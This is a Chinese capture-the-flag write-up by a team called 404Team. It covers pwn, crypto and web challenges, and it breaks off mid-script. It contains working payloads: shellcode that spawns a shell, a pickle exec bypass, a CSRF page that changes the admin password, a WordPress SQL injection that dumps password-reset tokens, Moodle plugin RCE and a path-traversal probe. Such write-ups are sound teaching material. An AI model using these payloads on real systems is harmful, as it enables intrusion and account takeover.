队伍信息
队伍名称:404Team
得分情况
最终排名
解题过程
注:以下所有内容为比赛题目答案及解析,不涉及其他方面,仅做解题方法分享
强网先锋
devnull
通过劫持buf和进行栈迁移get到程序执行流,并使用mprotect赋予段执行权限,再执行写好的shellcode
from pwn import *
#p=process('./devnull')
p=remote('59.110.212.61',37322)
context.log_level='debug'
context.arch='amd64'
leave_ret = 0x401511
addr = 0x3ff000 #stack
mov_eax = 0x401351 #mov eax,DWORD PTR [rbp-0x18] leave ret
pop_rbp_ret = 0x000000000040129d
shellcode = b"\x48\x31\xC0\x6A\x3B\x58\x48\x31\xFF\x48\xBF\x2F\x62\x69\x6E\x2F\x73\x68\x00\x57\x54\x5F\x48\x31\xF6\x48\x31\xD2\x0F\x05"
payload = b'e'*0x34 + p64(addr-8)*2 + p64(leave_ret) #rbp=rsp=addr-8 buf=addr-8
p.sendafter('please input your filename\n',payload)
payload = p64(addr) + p64(pop_rbp_ret) + p64(addr+0x10) + p64(mov_eax) + p64(0x4012D0) + p64(0xdeadbeef) + p64(0x3ff030) + shellcode
p.recvuntil("new data")
p.sendline(payload)
p.interactive()
rcefile
扫描网站路径,发现源码泄露
下载源码后进行查看,在showfile.php中看到了sql_autoload_register函数,想起了以前做过的一道题,spl_autoload_register没有定义就会执行反序列化的类+.inc或.php,那么思路就有了,通过绕过文件上传限制,在利用sql_autoload_register触发反序列化的类进行getshell
在upload.php中,发现了黑名单限制,所以采取上传.inc文件进行绕过
$blackext = ["php", "php5", "php3", "html", "swf","htm","phtml"];
绕过上传限制
生成反序列化payload
<?php
class b30d4064ea329a03e007b53d10acdb63{}
echo urlencode(serialize(new b30d4064ea329a03e007b53d10acdb63()));
?>
获得flag
flag{b162bb8a-43ac-46ae-a8ab-77b1c3a333fc}
polydiv
题目给了俩文件和一个容器:
class Polynomial2():
'''
模二多项式环,定义方式有三种
一是从高到低给出每一项的系数
>>> Polynomial2([1,1,0,1])
x^3 + x^2 + 1
二是写成01字符串形式
>>> Polynomial2('1101')
x^3 + x^2 + 1
三是直接给出系数为1的项的阶
>>> Poly([3,1,4])
x^4 + x^3 + x
>>> Poly([]) # 加法元
0
>>> Poly(0) # 乘法元
1
>>> Poly(1,2) * Poly(2,3)
x^5 + x^3
'''
def __init__(self,ll):
if type(ll) == str:
ll = list(map(int,ll))
self.param = ll[::-1]
self.ones = [i for i in range(len(self.param)) if self.param[i] == 1] # 系数为1的项的阶数列表
self.Latex = self.latex()
self.b = ''.join([str(i) for i in ll]) # 01串形式打印系数
self.order = 0 # 最高阶
try:self.order = max(self.ones)
except:pass
def format(self,reverse = True):
'''
格式化打印字符串
默认高位在左
reverse = False时,低位在左
但是注意定义多项式时只能高位在右
'''
r = ''
if len(self.ones) == 0:
return '0'
if reverse:
return ((' + '.join(f'x^{i}' for i in self.ones[::-1])+' ').replace('x^0','1').replace('x^1 ','x ')).strip()
return ((' + '.join(f'x^{i}' for i in self.ones)+' ').replace('x^0','1').replace('x^1 ','x ')).strip()
def __call__(self,x):
'''
懒得写了,用不到
'''
print(f'call({x})')
def __add__(self,other):
'''
多项式加法
'''
a,b = self.param[::-1],other.param[::-1]
if len(a) < len(b):a,b = b,a
for i in range(len(a)):
try:a[-1-i] = (b[-1-i] + a[-1-i]) % 2
except:break
return Polynomial2(a)
def __mul__(self,other):
'''
多项式乘法
'''
a,b = self.param[::-1],other.param[::-1]
r = [0 for i in range(len(a) + len(b) - 1)]
for i in range(len(b)):
if b[-i-1] == 1:
if i != 0:sa = a+[0]*i
else:sa = a
sa = [0] * (len(r)-len(sa)) + sa
#r += np.array(sa)
#r %= 2
r = [(r[t] + sa[t])%2 for t in range(len(r))]
return Polynomial2(r)
def __sub__(self,oo):
# 模二多项式环,加减相同
return self + oo
def __repr__(self) -> str:
return self.format()
def __str__(self) -> str:
return self.format()
def __pow__(self,a):
# 没有大数阶乘的需求,就没写快速幂
t = Polynomial2([1])
for i in range(a):
t *= self
return t
def latex(self,reverse=True):
'''
Latex格式打印...其实就是给两位及以上的数字加个括号{}
'''
def latex_pow(x):
if len(str(x)) <= 1:
return str(x)
return '{'+str(x)+'}'
r = ''
if len(self.ones) == 0:
return '0'
if reverse:
return (' + '.join(f'x^{latex_pow(i)}' for i in self.ones[::-1])+' ').replace('x^0','1').replace(' x^1 ',' x ').strip()
return (' + '.join(f'x^{latex_pow(i)}' for i in self.ones)+' ').replace('x^0','1').replace(' x^1 ',' x ').strip()
def __eq__(self,other):
return self.ones == other.ones
def __lt__(self,other):
return max(self.ones) < max(other.ones)
def __le__(self,other):
return max(self.ones) <= max(other.ones)
def Poly(*args):
'''
另一种定义方式
Poly([3,1,4]) 或 Poly(3,1,4)
'''
if len(args) == 1 and type(args[0]) in [list,tuple]:
args = args[0]
if len(args) == 0:
return Polynomial2('0')
ll = [0 for i in range(max(args)+1)]
for i in args:
ll[i] = 1
return Polynomial2(ll[::-1])
PP = Polynomial2
P = Poly
# 简化名称,按长度区分 P 和 PP
if __name__ == '__main__':
p = Polynomial2('10011')
p3 = Polynomial2('11111')
Q = p*p3
import socketserver
import os, sys, signal
import string, random
from hashlib import sha256
from secret import flag
from poly2 import *
pad = lambda s:s + bytes([(len(s)-1)%16+1]*((len(s)-1)%16+1))
testCases = 40
class Task(socketserver.BaseRequestHandler):
def _recvall(self):
BUFF_SIZE = 2048
data = b''
while True:
part = self.request.recv(BUFF_SIZE)
data += part
if len(part) < BUFF_SIZE:
break
return data.strip()
def send(self, msg, newline=True):
try:
if newline:
msg += b'\n'
self.request.sendall(msg)
except:
pass
def recv(self, prompt=b'> '):
self.send(prompt, newline=False)
return self._recvall()
def close(self):
self.send(b"Bye~")
self.request.close()
def proof_of_work(self):
random.seed(os.urandom(8))
proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
_hexdigest = sha256(proof.encode()).hexdigest()
self.send(f"sha256(XXXX+{proof[4:]}) == {_hexdigest}".encode())
x = self.recv(prompt=b'Give me XXXX: ')
if len(x) != 4 or sha256(x+proof[4:].encode()).hexdigest() != _hexdigest:
return False
return True
def guess(self):
from Crypto.Util.number import getPrime
a,b,c = [getPrime(i) for i in [256,256,128]]
pa,pb,pc = [PP(bin(i)[2:]) for i in [a,b,c]]
r = pa*pb+pc
self.send(b'r(x) = '+str(r).encode())
self.send(b'a(x) = '+str(pa).encode())
self.send(b'c(x) = '+str(pc).encode())
self.send(b'Please give me the b(x) which satisfy a(x)*b(x)+c(x)=r(x)')
#self.send(b'b(x) = '+str(pb).encode())
return self.recv(prompt=b'> b(x) = ').decode() == str(pb)
def handle(self):
#signal.alarm(1200)
if not self.proof_of_work():
return
for turn in range(testCases):
if not self.guess():
self.send(b"What a pity, work harder.")
return
self.send(b"Success!")
else:
self.send(b'Congratulations, this is you reward.')
self.send(flag)
class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
#class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
class ForkedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
if __name__ == "__main__":
HOST, PORT = '0.0.0.0', 10000
server = ForkedServer((HOST, PORT), Task)
server.allow_reuse_address = True
server.serve_forever()
题目的意思其实挺简单的,就是过完POW
之后来个40轮的模二多项式环
求解,具体就是给了a * b + c == r
,已知a
、c
、r
,求b
,那不是反向运算就完事嘛:b = (r - c) / a
嘛。
结果看了下题目给的Polynomial2
没实现div
运算...那就上网找吧(因为不太熟悉这玩意)。
结果找着照着就找到了出题人这个类的代码出处:模二多项式环 及 BCH码 的纯python实现和一些问题(不过这个站是盗文站,原文章在CSDN
上,但是被删了)
所以把里面的除法实现抄到题目的类里就完事:
def div(self,other):
r,b = self.param[::-1],other.param[::-1]
if len(r) < len(b):
return Polynomial2([0]),self
q=[0] * (len(r) - len(b) + 1)
for i in range(len(q)):
if len(r)>=len(b):
index = len(r) - len(b) + 1 # 确定所得商是商式的第index位
q[-index] = int(r[0] / b[0])
# 更新被除多项式
b_=b.copy()
b_.extend([0] * (len(r) - len(b)))
b_ = [t*q[i] for t in b_]
r = [(r[t] - b_[t])%2 for t in range(len(r))]
for j in range(len(r)): #除去列表最左端无意义的0
if r[0]==0:
r.remove(0)
else:
break
else:
break
return Polynomial2(q),Polynomial2(r)
def __floordiv__(self,other): # 只重载了整除,即//
return self.div(other)[0]
然后写个脚本和服务器交互,其中关于表达式解析,我的思路是用题目给的Poly
函数去实例化,传入[3,1,4]
这种环中1
的下标就行,所以就先把结尾的1
换成0
(因为下标是0
),然后去一下两头的换行符啥的,再按 +
去分割一下,再把里面的x
、^
都给去掉,那就只剩下文本格式的数字了,但是也有特殊情况比如说x
会变成空字符,所以额外判断一下长度,有字符就转int,没有下标就肯定是1
。然后传给Poly
函数就可以开始反向运算了。
def pow(end, sha256_result) -> bytes:
import string
from hashlib import sha256
base = string.ascii_letters+string.digits
for i in base:
for j in base:
for k in base:
for l in base:
pow_key = f"{i}{j}{k}{l}{end}".encode()
if sha256(pow_key).hexdigest() == sha256_result:
print(pow_key)
return pow_key[:4]
def main():
from pwn import connect, context
context.log_level = 'debug'
conn = connect("59.110.212.61", 24906)
conn.recvuntil(b"sha256(XXXX+")
end = conn.recvn(16).decode()
conn.recvuntil(b") == ")
sha256_result = conn.recvn(64).decode()
conn.sendline(pow(end, sha256_result))
for _ in range(40):
conn.recvuntil(b"r(x) = ")
r = conn.recvline().decode().replace('1\n', '0\n').strip().split(' + ')
r = Poly([int(i) if len(i) > 0 else 1 for i in [i.strip("x^") for i in r]])
conn.recvuntil(b"a(x) = ")
a = conn.recvline().decode().replace('1\n', '0\n').strip().split(' + ')
a = Poly([int(i) if len(i) > 0 else 1 for i in [i.strip("x^") for i in a]])
conn.recvuntil(b"c(x) = ")
c = conn.recvline().decode().replace('1\n', '0\n').strip().split(' + ')
c = Poly([int(i) if len(i) > 0 else 1 for i in [i.strip("x^") for i in c]])
conn.recvuntil(b"> b(x) = ")
b = (r - c) // a
conn.sendline(str(b).encode())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
print()
if __name__ == '__main__':
main()
成功得到flag。
flag{768782a0-e637-4982-9415-4b8f005e466b}
ASR
题目给的脚本:
from Crypto.Util.number import getPrime
from secret import falg
pad = lambda s:s + bytes([(len(s)-1)%16+1]*((len(s)-1)%16+1))
n = getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2
e = 3
flag = pad(flag)
print(flag)
assert(len(flag) >= 48)
m = int.from_bytes(flag,'big')
c = pow(m,e,n)
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
'''
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
'''
先是n == (p * q * r * s)^2
,那就先开方咯。
from gmpy2 import *
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
nn = iroot(n, 2)[0]
assert nn**2 == n
print(nn)
得到2872432989693854281918578458293603200587306199407874717707522587993136874097838265650829958344702997782980206004276973399784460125581362617464018665640001
。
然后看着p
、q
、r
、s
也都不大,就128位,感觉可以yafu
直接爆。
跑了十几分钟也确实爆出来了。那按照公式phi = (p^(k-1)) * (p-1) * ...
直接求。
结果发现有几个因子的p-1
居然和e
不互素...
p = 260594583349478633632570848336184053653
q = 218566259296037866647273372633238739089
r = 223213222467584072959434495118689164399
s = 225933944608558304529179430753170813347
assert p*q*r*s == nn
print(gcd((p*(p-1)), e)) # 1
print(gcd((q*(q-1)), e)) # 3
print(gcd((r*(r-1)), e)) # 1
print(gcd((s*(s-1)), e)) # 3
这就给我整不会了啊,于是进度就卡这了。第二天随便乱试的时候,发现用那俩正常的因子重新构造n == (p * r)^2
,可以解出flag,具体原理我也不知道...
from Crypto.Util.number import long_to_bytes
phi = (p*(p-1))*(r*(r-1))
d = invert(e, phi)
m = pow(c, d, p**2*r**2)
print(long_to_bytes(m))
flag{Fear_can_hold_you_prisoner_Hope_can_set_you_free}
Web
babyweb
打开题目,随手试了几个弱密码,都提示错误。
看到右上角还有个注册功能,尝试注册一个。
帐号写admin
,注册提示Username already exists
说明存在admin
这个用户,接着随便注册了一个帐号。
登录上去之后,按照提示发送help
,发现返回了一些说明
抓包可以看到建立了一个websocket连接。
根据说明
- help: 帮助菜单
- changepw: 修改密码
示例: changepw 123456- bugreport: 向管理员报告漏洞页面
示例: bugreport http://host:port/login
先来验证一下bugreport
的功能
bugreport http://xxxxxx.ceye.io
在平台已经收到了请求
通过协议头其中的关键字PhantomJS
,可以看出来,是用它实现bot模拟浏览url。
现在只是普通用户,想要登录到管理员帐号,弱口令已经无解。
这里刚好有修改密码的功能,而且bot会模拟访问一个指定的url,
所以可以尝试通过csrf来尝试让bot发送更改密码的指令。
因为是用的websocket发送的消息,所以直接拿首页的网页源码简单修改一下。
经过测试发现如果不带cookie去连接靶机IP,那样不能辨别用户身份,但是怎么带cookie去发起websocket没试过,不知道。(tcl)
但是题目里特别给了docker镜像启动的命令,其中端口是:8888
。
所以直接尝试127.0.0.1:8888
作为ws连接地址。
msg设置为changepw 123456
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<script>
var ws = null;
var url = "ws://127.0.0.1:8888/bot";
function sendtobot() {
if (ws) {
var msg = "changepw 123456";
ws.send(msg);
}
else{
ws = new WebSocket(url);
ws.onopen = function (event) {
console.log('connection open!')
var msg = "changepw 123456";
ws.send(msg);
}
ws.onmessage = function (ev) {
botsay(ev.data);
};
ws.onerror = function () {
console.log("connection error");
};
ws.onclose = function () {
console.log("connection close!");
};
}
}
function closeWebSocket() {
if(ws){
ws.close();
ws = null;
}
}
sendtobot();
</script>
<body>
</body>
</html>
将html源码放到公网服务器里,准备让bot来访问。
在服务器监听8010
端口,文件放到了3.html
里
发送指令让bot来访问:bugreport http://xxx.xxx.xxx.176:8010
/3.html
成功收到请求
这时候去尝试登录admin
,密码为刚才修改的:123456
成功登录
现在的钱只够买个Hint
,Flag
得$1000。
先买个hint看看吧
拼接url,得到部分源码的压缩包
# app.py
@app.route("/buy", methods=['POST'])
def buy():
if not session:
return redirect('/login')
elif session['user'] != 'admin':
return "you are not admin"
else :
result = {}
data = request.get_json()
product = data["product"]
for i in product:
if not isinstance(i["id"],int) or not isinstance(i["num"],int):
return "not int"
if i["id"] not in (1,2):
return "id error"
if i["num"] not in (0,1,2,3,4,5):
return "num error"
result[i["id"]] = i["num"]
sql = "select money,flag,hint from qwb where username='admin'"
conn = sqlite3.connect('/root/py/test.db')
c = conn.cursor()
cursor = c.execute(sql)
for row in cursor:
if len(row):
money = row[0]
flag = row[1]
hint = row[2]
data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:] #secret已打码
r = requests.post("http://127.0.0.1:10002/pay",data).text
r = json.loads(r)
if r["error"] != 0:
return r["error"]
money = int(r["money"])
hint = hint + result[1]
flag = flag + result[2]
sql = "update qwb set money={},hint={},flag={} where username='admin'".format(money,hint,flag)
conn = sqlite3.connect('/root/py/test.db')
c = conn.cursor()
try:
c.execute(sql)
conn.commit()
except Exception as e:
conn.rollback()
c.close()
conn.close()
return "database error"
return "success"
// pay.go
package main
import (
"github.com/buger/jsonparser"
"fmt"
"net/http"
"io/ioutil"
"io"
)
func pay(w http.ResponseWriter, r *http.Request) {
var cost int64 = 0
var err1 int64 = 0
json, _ := ioutil.ReadAll(r.Body)
secret, err := jsonparser.GetString(json, "secret")
if err != nil {
fmt.Println(err)
}
if secret != "xxxx"{ //secret已打码
io.WriteString(w, "{\"error\": \"secret error\"}")
return
}
money, err := jsonparser.GetInt(json, "money")
if err != nil {
fmt.Println(err)
}
_, err = jsonparser.ArrayEach(
json,
func(value []byte, dataType jsonparser.ValueType, offset int, err error) {
id, _ := jsonparser.GetInt(value, "id")
num, _ := jsonparser.GetInt(value, "num")
if id == 1{
cost = cost + 200 * num
}else if id == 2{
cost = cost + 1000 * num
}else{
err1 = 1
}
},
"product")
if err != nil {
fmt.Println(err)
}
if err1 == 1{
io.WriteString(w, "{\"error\": \"id error\"}")
return
}
if cost > money{
io.WriteString(w, "{\"error\": \"Sorry, your credit is running low!\"}")
return
}
money = money - cost
io.WriteString(w, fmt.Sprintf("{\"error\":0,\"money\": %d}", money))
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/pay", pay)
http.ListenAndServe(":10002", mux)
}
先来分析app.py
在经过一系列过滤后,从数据库里把admin
的money,flag,hint
都取了出来。
并将secret
和money
post到了pay.go
那里
sql = "select money,flag,hint from qwb where username='admin'"
for row in cursor:
if len(row):
money = row[0]
flag = row[1]
hint = row[2]
data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:] #secret已打码
r = requests.post("http://127.0.0.1:10002/pay",data).text
r = json.loads(r)
接着就是取回请求的结果,如果error为0,便将monkey和hint
及flag
更新到表中。
r = json.loads(r)
if r["error"] != 0:
return r["error"]
money = int(r["money"])
hint = hint + result[1]
flag = flag + result[2]
sql = "update qwb set money={},hint={},flag={} where username='admin'".format(money,hint,flag)
conn = sqlite3.connect('/root/py/test.db')
c = conn.cursor()
try:
c.execute(sql)
conn.commit()
except Exception as e:
conn.rollback()
c.close()
conn.close()
return "database error"
return "success"
所以现在就是让pay.go
的error
为0即可购买成功
根据代码分析不为0的几种情况,似乎很难绕过:
if secret != "xxxx"{ //secret已打码
io.WriteString(w, "{\"error\": \"secret error\"}")
return
}
if err1 == 1{
io.WriteString(w, "{\"error\": \"id error\"}")
return
}
if cost > money{
io.WriteString(w, "{\"error\": \"Sorry, your credit is running low!\"}")
return
}
再仔细分析app.py
的代码可以发现,传过去的data
是拼接的字符串,想要组成json
格式。
r = requests.post("http://127.0.0.1:10002/pay",data).text
data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:]
其中request.get_data()
是前端请求的完整的json
数据例如{"product":[{"id":1,"num":1},{"id":2,"num":0}]}
这时想要拼接到data
中,就需要去掉最左边的大括号,所以用切片从1开始切掉,然后拼接上去。
再来看下pay.go
接收到数据做了什么
首先是通过jsonparser
解析请求体,然后获取secret
和money
参数,这两块都是app.py
写死的,格式是正确的,而且我们不可控。
紧接着就是遍历product
来计算所需要的cost
,而product是前端请求给app.py
,app.py
修改封装后再发送给pay.go
,所以这里我们可控。
而且这里如果报错后,并不会直接return
,而是就println
一下,之后便直接进行了相减运算以及返回error
为0
cost在代码的最前面已经初始化为0,所以无论我们的money
有多少,都不会影响成功返回。
在app.py
中接收前端数据用的是request.get_json()
,直接把请求体当作json
解析的,但传递给pay.go
是使用的request.get_data()[1:]
直接将请求体切片后传过去了
那么如何让json中的product
节点出错,并且不影响app.py
成功解析呢?
可以从切片下手,拼接的时候是把第一个字符{
切掉了,从而可以顺利的和前面的拼接成一个完整的json语句,如果我们在请求体最前面加上一个字符,那么{
就会被传递过去,从而导致pay.go
在解析json的product
出错。(应该是jsonparser
的特性,部分json出错并不会影响其他地方解析)
所以现在我们需要找到一个不影响request.get_json()
解析的字符加到请求体最前面。
查一下文档发现可以用空白符
来实现
token(6种标点符号、字符串、数值、3种字面量)之间可以存在有限的空白符并被忽略。四个特定字符被认为是空白符:空格符、水平制表符、回车符、换行符。空白符不能出现在token内部(但空格符可以出现在字符串内部)。
空白符:空格符
、水平制表符
、回车符
、换行符
接下来尝试一下这四种
首先在不更改请求体的情况下,直接购买flag
,会提示余额不足。
在前面加上一个空格后,购买成功,得到flag,并且余额没有变。
再来尝试水平制表符
也就是\t
,在记事本上按一下tab
键,即可。
复制到burp中,加到请求体前。
水平制表符,购买成功
回车符,购买成功
换行符,购买成功:
flag{18b12c6c-b5cf-4d18-baba-ce5536d15b0a}
crash
打开题目,一堆源码
稍微美化一下
import base64
import os
import sqlite3
import pickle
from flask import Flask, make_response, request, session
import admin
import random
app = Flask(__name__, static_url_path='')
app.secret_key = random.randbytes(12)
class User:
def __init__(self, username, password):
self.username = username
self.token = hash(password)
def get_password(username):
if username == "admin":
return admin.secret
else:
# conn = sqlite3.connect("user.db")
# cursor = conn.cursor()
# cursor.execute(f"select password from usertable where username='{username}'")
# data = cursor.fetchall()[0]
# if data:
# return data[0]
# else:
# return None
return session.get("password")
@app.route('/balancer', methods=['GET', 'POST'])
def flag():
pickle_data = base64.b64decode(request.cookies.get("userdata"))
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"
os.system("rm -rf *py*")
userdata = pickle.loads(pickle_data)
if userdata.token != hash(User.get_password(userdata.username)):
return "Login First"
if userdata.username == 'admin':
return "Welcome admin, here is your next challenge!"
return "You're not admin!"
@app.route('/login', methods=['GET', 'POST'])
def login():
resp = make_response("success")
session["password"] = request.values.get("password")
resp.set_cookie("userdata", base64.b64encode(
pickle.dumps(User(request.values.get("username"), request.values.get("password")), 2)), max_age=3600)
return resp
@app.route('/', methods=['GET', 'POST'])
def index():
return open('source.txt', "r").read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
分析源码,发现一共两个功能点
第一个是login
,获取请求的参数username
和password
,然后将这俩参数用pickle
序列化后再base64加密,放到cookie的userdata
里。
第二个是balancer
,获取cookie里的userdata
,然后用pickle
反序列化。
其中有三处过滤,
-
userdata
base64解码后,内容不能包含R
或secret
-
userdata.token
要与hash(User.get_password(userdata.username)
相等,也就是hash(password)
等于hash(admin.secret)
所以password
要等于admin.secret
-
username
为admin
所以现在我们需要传参username
为admin
,password
为admin.secret
。
但是现在我们并不知道admin.secret
的值
所以可以通过构造pickle
反序列化,变量覆盖admin.secret
的值
因为过滤了R
,所以不能使用__reduce__
来覆盖,要不然结尾会含有R
又因为过滤了secret
,所以不能直接出现完整的secret
,
但是可以通过ascii码16进制来替换,例如:
opcode = b'''c__main__
admin
(S"\x73ecret"
S'123456'
db.'''
也通过exec
字符串拼接来绕过检测
opcode=b'''(cbuiltins
exec
S'exec("admin.sec"+"ret='123456'")'
o.'''
用pickletools
看一下结构
0: ( MARK
1: c GLOBAL 'builtins exec'
16: S STRING 's="admin.sec"+"ret=\'123456\'";exec(s)'
56: o OBJ (MARK at 0)
57: . STOP
base64编码一下放到cookie里
KGNidWlsdGlucwpleGVjClMncz0iYWRtaW4uc2VjIisicmV0PScxMjM0NTYnIjtleGVjKHMpJwpvLg==
然后访问http://39.107.137.85:18281/balancer
接着再访问http://39.107.137.85:18281/login?username=admin&password=123456
此时的userdata
就已经变成了
gAJjYXBwClVzZXIKcQApgXEBfXECKFgIAAAAdXNlcm5hbWVxA1gFAAAAYWRtaW5xBFgFAAAAdG9rZW5xBYoIGRPXkM42hoh1Yi4=
然后再次访问http://39.107.137.85:18281/balancer
成功进入
查看网页源码发现
<!-- flag in 504 page --><!-- /826fd2f86129b050875e4a70cb059908a7ed -->
于是访问/826fd2f86129b050875e4a70cb059908a7ed
,下载到nginx
的配置文件
# nginx.vh.default.conf -- docker-openresty
#
# This file is installed to:
# `/etc/nginx/conf.d/default.conf`
#
# It tracks the `server` section of the upstream OpenResty's `nginx.conf`.
#
# This config (and any other configs in `etc/nginx/conf.d/`) is loaded by
# default by the `include` directive in `/usr/local/openresty/nginx/conf/nginx.conf`.
#
# See https://github.com/openresty/docker-openresty/blob/master/README.md#nginx-config-files
#
lua_package_path "/lua-resty-balancer/lib/?.lua;;";
lua_package_cpath "/lua-resty-balancer/?.so;;";
server {
listen 8088;
server_name localhost;
#charset koi8-r;
#access_log /var/log/nginx/host.access.log main;
location /gettestresult {
default_type text/html;
content_by_lua '
local resty_roundrobin = require "resty.roundrobin"
local server_list = {
[ngx.var.arg_server1] = ngx.var.arg_weight1,
[ngx.var.arg_server2] = ngx.var.arg_weight2,
[ngx.var.arg_server3] = ngx.var.arg_weight3,
}
local rr_up = resty_roundrobin:new(server_list)
for i = 0,9 do
ngx.say("Server seleted for request ",i,": " ,rr_up:find(),"<br>")
end
';
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
# proxy the PHP scripts to Apache listening on 127.0.0.1:80
#
#location ~ \.php$ {
# proxy_pass http://127.0.0.1;
#}
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
#location ~ \.php$ {
# root /usr/local/openresty/nginx/html;
# fastcgi_pass 127.0.0.1:9000;
# fastcgi_index index.php;
# fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
# include fastcgi_params;
#}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
}
另外提示flag在504
里,所以应该是让页面返回504
状态码即可拿到flag
于是尝试随便输入一点数据测试,在测试到同一IP不同端口,权重随便填的时候,
等了一小会,状态码返回了504,然后得到了flag
flag{6792305a-563c-4dc3-9308-055aa07e3756}
easylogin
题目说明:
47.105.52.19 47.105.60.229 47.104.251.7
本题目为渗透题,开放了80和8888两个端口,其余端口均和本题目无关,本题目无需进行目录扫描和爆破flag位置在常用文件夹下。
解题步骤:(根据wp sql注入到moodle的数据库获取moodle中的修改密码的token然后实现admin账号的密码重置,根据cve上传rce压缩包,然后getflag)
具体步骤分析:
1.先进行业务梳理得知80端口业务是wordpress 8888端口业务是moogle
经典f12查看wordpress 5.8.2 百度 5.8.2版本漏洞 搜到一个cve
WordPress SQL 注入漏洞(CVE-2022-21661 分析与复现)
链接:https://www.freebuf.com/articles/web/321297.html
验证了一下是可以打通的,于是sqlmap走起
把需要查询的地方设置为* 用sqlmap去跑 得到库 wordpress和moodle
我们通过尝试 wordpress的用户可以得到 密码是hash加密的 同样的获取了moodle的账户和密码 密码也是加密的 明显是行不通的
换思路 :因为是wordpress漏洞打进了肯定是要查和moodle相关的,所以重点查阅moodle相关表的含义找到一个moondle seesion 相关的表mdl_user_password_resets与mdl_sessions
于是想出了两种解题方法:
(1)常规解法:查看mdl_user_password_resets 发现了token的值,那么我们可以通过数据库中查询到的用户的username进行用户密码重置,然后在通过token达到修改admin密码的效果
获得token的数据包如下:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 47.104.251.7
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: 0
Cache-Control: max-age=0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 242
action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(0x7e,concat(1,(SELECT group_concat(token) FROM moodle.mdl_user_password_resets)),0x7e)#&query_vars[tax_query][1][field]=term_taxonomy_id
构造token
http://47.104.251.7:8888/login/forgot_password.php?token=&username=admin
然后成功到修改密码页面
登录成功后我们根据cve来到这个页面
https://github.com/HoangKien1020/CVE-2020-14321
https://github.com/HoangKien1020/Moodle_RCE
http://47.104.251.7:8888/admin/tool/installaddon/index.php
选择上传插件功能中压缩包,上传rce.zip
(2)第二种方法:因为是公共环境 可以利用别人登录的seesion 只要管理员登录就可以通过mdl_sessions 获取seesion值 手工替代seesion进去传马 不过是有点蹭车了哈哈哈
WP-UM
题目说明:
管理员10位的账号作为文件名放在/username下和15位的密码作为文件名放在/password下。并且存放的时候猫哥分成一个数字(作为字母在密码中的顺序)+一个大写或小写字母一个文件,例如admin分成5个文件,文件名是1a 2d 3m 4i 5n
这几天他发现了一个特别好用的wordpress插件,在他开心的时候,可是倒霉的猫哥却不知道危险的存在。
解题步骤:
1.下载附件根据提示看到/username adminadmin和password adminadminadmin,
给了docker文件,本地起一个环境,用给的账号密码进去后台,发现三个插件, 其中有一个插件User Meta Lite正在使用 根据题目的提示wp-um,还有题目说明 肯定是要利用插件了
- 发现一个越权,结合题目说的账号密码,猜测就是这个了,用这个越权去获得账号密码,搜到一个相关 文章的POC
https://wpscan.com/vulnerability/9d4a3f09-b011-4d87-ab63-332e505cf1cd
As a subscriber, submit a dummy image on a page/post with a File Upload field is
embed, intercept the request and change the file path parameter
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 158
Connection: close
Cookie: [subscriber+]
field_name=test&filepath=/../../../../../../../../etc/passwd&field_id=um_field_4
&form_key=Upload&action=um_show_uploaded_file&pf_nonce=4286c1c56a&is_ajax=true
If the response contains the um_remove_file, then the file exist on the server,
otherwise it does not
然后注册一个账号,用首页的upload功能,然后抓包,修改filepath,如果文件存在,那么返回包中就 会有“um_remove_file”,写个脚本跑一下
import requests
strings="ZXCVBNMASDFGHJKLQWERTYUIOP1234567890zxcvbnmasdfghjklqwertyuiop"
headers = {
